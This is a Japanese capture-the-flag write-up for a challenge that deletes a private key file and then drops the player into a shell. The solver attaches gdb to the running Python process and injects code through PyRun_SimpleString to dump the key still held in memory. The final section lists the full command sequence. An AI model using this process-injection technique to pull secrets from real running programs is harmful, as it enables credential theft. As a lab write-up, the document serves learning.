基本情報リンクをコピーしました

問題文リンクをコピーしました

見つけたらあなたのものです。
NOTE: permission denied 3 の関連問題です。

作業ログリンクをコピーしました

コードをダウンロードして展開

.text
$tree vanished vanished ├── Dockerfile ├── chal.py ├── compose.yaml ├── gen_private_key.py └── private_key 1 directory, 5 files

まずDocker関連を見てみる。

Dockerfile
FROM python:3.14.5-slim-trixie RUN apt-get update && apt-get install -yq socat WORKDIR /app COPY chal.py private_key ./ ENV PYTHONUNBUFFERED=1 CMD ["socat", "tcp-listen:1337,fork,reuseaddr", "exec:'python chal.py',stderr,pty,ctty,setsid,echo=0"]
compose.yaml
services: sandbox: build: . restart: unless-stopped ports: - ${PORT:-1337}:1337

特に妙なことはやっていないように見えるが、知らない引数だらけなので調べていく。

ENV PYTHONUNBUFFERED=1は、Pythonの標準出力・エラー出力がバッファリングされる(通信の効率化のため、出力が一定の量を超えたり改行が入ったりするまで溜められて表示されない状態)ことを防ぐための環境変数。

CMDのsocatの次の引数は、
tcp-listen:1337:tcpの1337番ポートで接続を受け付ける
fork:複数接続に対して別プロセスをスポーンさせて処理する
reuseaddr:サーバーの再起動等でポートがTIME_WAITになり利用できなくなることを防ぐ

exec: 'python chal.py'以下の引数は、
stderr:起動したプロセスの標準エラー出力も通信側へ流す
pty:疑似端末(pseudo terminal。本物のキーボードや画面ではないが、プログラムから見ると端末のように見える仮想的な入出力装置。)を使うことで、実際の端末で実行している時と同じ挙動をさせる
ctty:制御端末(controlling terminal。特定のセッションに紐付けられた端末のこと。単なる入出力先としての機能だけでなく、セッションを制御、例えばCtrl+CでSIGINT、Ctrl+ZでSIGSTPを送る等の機能も持たせるようにする。
setsid:上記cttyと併用されるオプションで、制御端末を新しく割り当てるには、プロセスがセッションリーダーで、まだ制御端末を持っていない状態が必要になることが多いため、sid(セッションID)を新しく作ってそこに制御端末を割り当てるようにする。
echo=0:クライアントがncなどで入力した内容が、プログラムの出力と別にそのまま画面に表示され、表示がごちゃつくことを防ぐ。

全体的に、nc越しにリアルな端末操作を実現するための設定をやっているように見受けられる。
Pythonプログラムなのに端末操作するのかな。

メインプログラムの前に、他のファイルを確認。

gen_private_key.py
import os private_key = b"REDACTEDREDACTEDREDACTEDREDACTED" if os.getenv("REDACTED") else os.urandom(32) open("private_key", "wb").write(private_key) print(f"Flag is Alpaca{{{private_key.hex()}}}")
private_key
REDACTEDREDACTEDREDACTEDREDACTED

これが奪取対象のフラグの書かれたファイルを作成するためのプログラムと、出力例(サンプルのためREDACTEDで埋め尽くされている)か。
手元でちょいと実行してみよう。

.text
$ python3 gen_private_key.py   Flag is Alpaca{96db35c7240c187e7aecc3e2fd47cf92544f70266df7f71119f0d02c36f1df12} $ cat private_key   ��5�$     ▒~z����GϒTOp&m����,6��

うぉっ、文字化け。まぁos.urandom(32)で作られたバイト列を文字列にしてるだけだからね。
実際のフラグはそのバイト列を16進数で文字化したものを使ってるのね。

では肝心のメイン処理を見ていこう。

chal.py
import os with open("private_key", "rb") as f: # Flag is "Alpaca{" + my_100_bitcoin_private_key.hex() + "}" my_100_bitcoin_private_key = f.read() assert len(my_100_bitcoin_private_key) == 32 if input("are you sure you want to delete everything? (y/N): ") == "y": os.system("rm *") print("omg! my 100 bitcoin private key is also gone :(") os.system("sh")

まず、private_keyの中身が正しく設定されているかassertし、ユーザーに
「are you sure you want to delete everything?(全部消去しちゃうけどいい?)」
とたずねる。なお回答はYesしか実質的に受け付けない模様。きちくぅ!

すると、rm *で実行ディレクトリ下すなわち/appのすべてのファイル(chal.pyprivate_key)を削除する。
その後、シェルをスポーンしてユーザーにそのシェルの操作を委ねる。

private_keyが消されちゃってるからフラグわからないじゃんね。

…まぁ、my_100_bitcoin_private_key変数に保存されてるんですけどね、所見さん。

ということでこの問題は、如何にして実行中のPythonプロセス内の変数を外から読み出すかということを考えれば良い。

実行中のPythonプロセスの中身を読んだりするツールってあるのかな。多分デバッグ用途であるんだろうな。

(AIとおしゃべり後)

ほう、gdbからPythonのC APIを呼び出せば実行中のPythonインタプリタ上でコードを注入できるのか。

my_100_bitcoin_private_keychal.pyのトップレベルで定義されたグローバル変数なので、__main__の名前空間にコードを流し込めば良い。

また、gdbを使うには実行中のPythonプロセス番号を取得する必要があるな。

ではやってみよう!

.text
$nc <host> <port> are you sure you want to delete everything? (y/N): y omg! my 100 bitcoin private key is also gone :( #

これでシェルが起動した。

まずはgdbのインストールとpythonプロセス番号の確認をする。

.text
#apt install -y gdb # ps PID TTY TIME CMD 8 pts/0 00:00:00 python 11 pts/0 00:00:00 sh 12 pts/0 00:00:00 sh 732 pts/0 00:00:00 ps

8番がpythonの実行されているプロセスね。

gdbで入ってみよう。

.text
#gdb -q -p 8 Attaching to process 8 Reading symbols from /usr/local/bin/python3.14... (No debugging symbols found in /usr/local/bin/python3.14) Reading symbols from /usr/local/bin/../lib/libpython3.14.so.1.0... (No debugging symbols found in /usr/local/bin/../lib/libpython3.14.so.1.0) Reading symbols from /lib/x86_64-linux-gnu/libc.so.6... (No debugging symbols found in /lib/x86_64-linux-gnu/libc.so.6) Reading symbols from /lib/x86_64-linux-gnu/libm.so.6... (No debugging symbols found in /lib/x86_64-linux-gnu/libm.so.6) Reading symbols from /lib64/ld-linux-x86-64.so.2... (No debugging symbols found in /lib64/ld-linux-x86-64.so.2) [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". 0x00007f3d55f14687 in ?? () from /lib/x86_64-linux-gnu/libc.so.6 (gdb)

まずはGIL(Global Interpreter Lock)を取って、Pythonインタプリタを安全に操作できるようにしよう。

.text
(gdb) p (int)PyGILState_Ensure() $1 = 1

次に、一時ファイルとしてフラグを書き出して、gdbを終了する。

.text
(gdb) p (int)PyRun_SimpleString("open('/tmp/f','w').write('Alpaca{'+my_100_bitcoin_private_key.hex()+'}')") $2 = 0 (gdb) detach Detaching from program: /usr/local/bin/python3.14, process 8 [Inferior 1 (process 8) detached] (gdb) q

作成した一時ファイルを覗く。

.text
# cat /tmp/f Alpaca{XXXXXXXXXXXXXXXX}

やったぜ!

最終的な解法リンクをコピーしました

ncした後、以下コマンドを順に実行する

.text
apt install -y gdb ps gdb -q -p (psで確認したpythonプロセス番号) p (int)PyGILState_Ensure() p (int)PyRun_SimpleString("open('/tmp/f','w').write('Alpaca{'+my_100_bitcoin_private_key.hex()+'}')") detach cat /tmp/f